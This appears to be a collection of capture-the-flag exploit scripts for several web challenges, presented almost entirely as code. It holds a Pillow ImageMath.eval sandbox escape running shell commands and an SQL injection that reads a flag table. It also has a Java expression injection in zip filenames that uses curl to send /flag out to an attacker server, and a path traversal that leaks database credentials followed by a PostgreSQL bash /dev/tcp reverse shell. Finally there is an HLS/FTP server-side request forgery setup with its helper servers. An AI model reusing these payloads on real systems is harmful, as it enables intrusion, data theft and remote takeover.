# app/image_processor.py
import os
import uuid

from PIL import Image, ImageFilter, ImageOps, ImageMath, ImageEnhance
from app.utils import get_processed_images

def apply_transform(transform_name, filenames, user_uuid, options=None):
    """Apply a specific transformation to images and return PIL Image objects."""
    images = get_processed_images(filenames, user_uuid)
    if not images:
        return []
    if options is None:
        options = {}

    ####################
    ### [** SKIP **] ###
    ####################

    elif transform_name == 'custom_formula':
        exp = options.get('expression')
        if not exp:
            raise ValueError("Custom formula requires an 'expression'.")
        env = { fname: img for fname, img in zip(filenames, images) }
        try:
            result = ImageMath.eval(exp, env) # Vuln
            return [result]
        except Exception as e:
            return [None]
    else:
        raise ValueError(f"Unknown transformation: {transform_name}")

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

import requests
import random
import re
from io import BytesIO
from bs4 import BeautifulSoup
from PIL import Image, ImageMath

s = requests.Session()

URL = "http://3.38.167.161:5000"

def extract_csrf_token(text):
    soup = BeautifulSoup(text, "html.parser")
    csrf_token = soup.find("input", {"name": "csrf_token"})["value"]
    return csrf_token

r = s.get(f"{URL}/auth/register")
csrf_token = extract_csrf_token(r.text)

random_num = random.randint(1,9999)

data = {
    "csrf_token": csrf_token,
    "username": f"xxxxxx{random_num}",
    "password": f"xxxxxx{random_num}",
    "confirm": f"xxxxxx{random_num}",
    "submit": "%ED%9A%8C%EC%9B%90%EA%B0%80%EC%9E%85"
}

r = s.post(
    f"{URL}/auth/register",
    data=data
)
print(r.status_code)
print("Register Success !")

r = s.get(f"{URL}/auth/login")
csrf_token = extract_csrf_token(r.text)
data["csrf_token"] = csrf_token

r = s.post(
    f"{URL}/auth/login",
    data={
        "csrf_token": data["csrf_token"],
        "username": data["username"],
        "password": data["password"],
        "submit": "%EB%A1%9C%EA%B7%B8%EC%9D%B8"
    }
)
print(r.status_code)
print("Login Success !")

r = s.get(
    f"{URL}/board/",
    allow_redirects=False
)
board_id = r.headers["Location"][7:]

r = s.get(f"{URL}/board/{board_id}/create")
csrf_token = extract_csrf_token(r.text)
data["csrf_token"] = csrf_token

def dummy_image(name):
    img = Image.new("RGB", (1, 1))
    img_bytes = BytesIO()
    img.save(img_bytes, format="JPEG")
    img_bytes.seek(0)
    return img_bytes

files = [
        ("csrf_token", (None, data["csrf_token"])),
        ("title", (None, "x")),
        ("content", (None, "x")),
        ("images", ("__bases__", dummy_image('__class__'), "image/jpeg")),
        ("images", ("__class__", dummy_image('__bases__'), "image/jpeg")),
        ("images", ("__subclasses__", dummy_image('__subclasses__'), "image/jpeg")),
        ("images", ("load_module", dummy_image('load_module'), "image/jpeg")),
        ("images", ("system", dummy_image('system'), "image/jpeg"))
]

r = s.post(
    f"{URL}/board/{board_id}/create",
    files=files
)
print(r.status_code)
print("File Upload Success !")

r = s.get(
    f"{URL}/board/{board_id}"
)
pattern = re.compile(r'<a\s+href="([^"]+)">([^<]+)</a>')
post_id = pattern.findall(r.text)[0][0].split("/")[3]
print(f"POST ID: {post_id}")

r = s.post(
    f"{URL}/board/{board_id}/transform/{post_id}",
    data={
        "post_id": post_id,
        "filenames":["__bases__","__class__","__subclasses__","load_module","system"],
        "transform_name":"custom_formula",
        "rotate_angle":90,
        "brightness_factor":1.5,
        "expression":f"().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('cat /flag >/prob/static/uploads/board/{board_id}/t')"
    }
)

print(r.status_code)
print("Transform Success !")

r = s.get(
    f"{URL}/board/uploads/{board_id}/t"
)
print(f"FLAG: {r.text}")

import requests
import re

URL = "http://3.34.254.202"

column = "created_at ASC--; select flag from flag--"

r = requests.get(
    f"{URL}/?column={column}&direction=DESC"
)
print(r.status_code)

flag_extract_pattern = "cce2025{.*}"
flag = re.findall(flag_extract_pattern, r.text)[0].strip()
print(f"FLAG: {flag}")

from requests import Session
import zipfile
import random
import os
import re

URL = "http://3.36.12.181"
SERVER_IP = "54.180.80.1"
SERVER_PORT = "8080"

s = Session()

data = {
    "email": f"test{random.randint(10000,99999)}@gmail.com",
    "password": f"test{random.randint(10000,99999)}",
    "name": f"test{random.randint(10000,99999)}"
}

# Register
r = s.post(
    f"{URL}/auth/register",
    data=data,
    allow_redirects=False
)
print(r.status_code)
print(r.headers)

# Login
if "success" in r.headers.get("Location"):
    s.post(
        f"{URL}/auth/login",
        data={
            "email": data["email"],
            "password": data["password"]
        },
        allow_redirects=False
    )

# Zip Upload
filename = "exploit.zip"

if os.path.exists(filename):
    os.remove(filename)

try:
    with zipfile.ZipFile(f"./{filename}", mode="w") as zf:
        payload="${\"\".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -T"
        payload += "/"

        if SERVER_PORT == "80":
            payload += f"flag {SERVER_IP}')}}"
        else:
            payload += f"flag {SERVER_IP}:{SERVER_PORT}')}}"
        final_payload = f"1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/{payload}/"
        print(f"Payload: {final_payload}")
        print("Create Zip file!")
        zf.writestr(f"{final_payload}", '')

except Exception as e:
    print(e)

r = s.post(
    f"{URL}/storage/upload",
    files={
        "file": (filename, open(filename, "rb"), "application/zip")
    },
    allow_redirects=False
)

r = s.get(
    f"{URL}/auth/myinfo",
)
print(r.text)

uuid_extract_pattern = "[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}"
storage_id = re.findall(uuid_extract_pattern, r.text)[2].strip()
print(f"Storeage ID: {storage_id}")

r = s.get(
    f"{URL}/storage/unzip/{storage_id}",
    allow_redirects=False
)

print("Exploit Trigger!")

import requests

URL = "http://16.184.32.150"

# CVE-2024-38816
r = requests.get(
    f"{URL}/static/img/%2e%2e/src/main/resources/application.yml"
)
print(r.status_code)
print(r.text)

"""
spring:
  application:
    name: entry-reservation-system

  datasource:
    url: jdbc:postgresql://0.0.0.0:5432/reservation_db
    username: reservation_user
    password: \!@#rEserV@ti0n_pAssw0rd
    driver-class-name: org.postgresql.Driver

...
"""
import psycopg2
conn = psycopg2.connect(
    host="16.184.32.150",
    dbname="reservation_db",
    user="reservation_user",
    password="!@#rEserV@ti0n_pAssw0rd",
    port=5432
)
cur = conn.cursor()
cur.execute("copy reservations TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/[server]/[port] 0>&1\"'")
print(cur.fetchone())
conn.close()

import requests 
import random

def dummy_image(name):
    img = Image.new("RGB", (1, 1))
    img.filename = name  # 강제로 filename 속성 지정
    return img
    
URL = "http://54.180.130.172"
s = requests.Session() 

ftp_server_ip = ""
ftp_server_port = ""

random_num = random.randint(1000,9999)

json = {
    "username":f"xxxxx{random_num}",
    "password":f"xxxxx{random_num}",
    "name":f"xxxxx{random_num}",
    "phone":f"0101111{random_num}",
    "email":f"xxxxx{random_num}@gmail.com",
    "consent": True
}

r = s.post(
    f"{URL}/api/register", 
    json=json
)

print(r.text)

r = s.post(
    f"{URL}/api/login", 
    json={
        "username": json["username"],
        "password": json["password"]
    }
)

token = r.json()["token"]
print(f"Token: {token}")

headers = {
    "Authorization": f"Bearer {token}"
}

exploit_data = f'''#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:BANDWIDTH=1280000
concatf:ftp://user:12345@{ftp_server_ip}:{ftp_server_port}/poc.ts'''

r = s.post(
    f"{URL}/api/videos",
    headers=headers,
    files={
        "intro": (None, "xxx"),
        "video": ("x.mp4", exploit_data, "video/mp4"),
        "isPrivate": (None, "true"),        
    }
)

print(r.status_code)
print(r.text)

from flask import Flask, Response

app = Flask(__name__)


@app.route("/", methods=["GET"])
def home():
    return "Hello, World!", 200  

@app.route('/header.m3u8')
def serve_file():
    content = '''#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://{server_ip}:7777/?'''

    return Response(content, content_type='text/plain')

# Flask 서버 실행
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=7777)

# filename: ftp_server.py
import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler, ThrottledDTPHandler, TLS_FTPHandler
from pyftpdlib.servers import FTPServer

def main():
    # 설정값
    FTP_HOST = "0.0.0.0"          
    FTP_PORT = 8888               
    HOME_DIR = os.path.abspath("./ftp_root")
    USERNAME = "user"
    PASSWORD = "12345"
    ENABLE_ANONYMOUS = False             # 익명 허용하려면 True
    PASSIVE_PORTS = range(50000, 50001)  # Passive 모드 포트 범위
    MAX_UPLOAD = 10 * 1024 * 1024        # 업로드 속도 제한 (bytes/s) 예: 10MB/s
    MAX_DOWNLOAD = 50 * 1024 * 1024      # 다운로드 속도 제한 (bytes/s)

    os.makedirs(HOME_DIR, exist_ok=True)

    authorizer = DummyAuthorizer()

    # e=리스트, l=파일리스트, r=다운, a=append, d=삭제, f=파일명변경, m=디렉토리만들기, w=업로드, M=권한변경, T=시간변경
    authorizer.add_user(USERNAME, PASSWORD, HOME_DIR, perm="elradfmw")
    if ENABLE_ANONYMOUS:
        authorizer.add_anonymous(HOME_DIR, perm="elr")  # 익명은 읽기 전용 예시

    # 핸들러 & 대역폭/패시브 설정
    handler = FTPHandler
    dtp_handler = ThrottledDTPHandler
    dtp_handler.read_limit = MAX_DOWNLOAD
    dtp_handler.write_limit = MAX_UPLOAD

    handler.dtp_handler = dtp_handler
    handler.passive_ports = PASSIVE_PORTS
    handler.authorizer = authorizer

    # 배너/로그
    handler.banner = "pyftpdlib FTP server ready."

    # 서버 시작
    address = (FTP_HOST, FTP_PORT)
    server = FTPServer(address, handler)
    # 동시 접속 제한
    server.max_cons = 256
    server.max_cons_per_ip = 5

    print(f"FTP running on {FTP_HOST}:{FTP_PORT} (home={HOME_DIR})")
    print(f"User: {USERNAME} / Pass: {PASSWORD}")
    print(f"Passive ports: {PASSIVE_PORTS.start}-{PASSIVE_PORTS.stop-1}")
    server.serve_forever()

if __name__ == "__main__":
    main()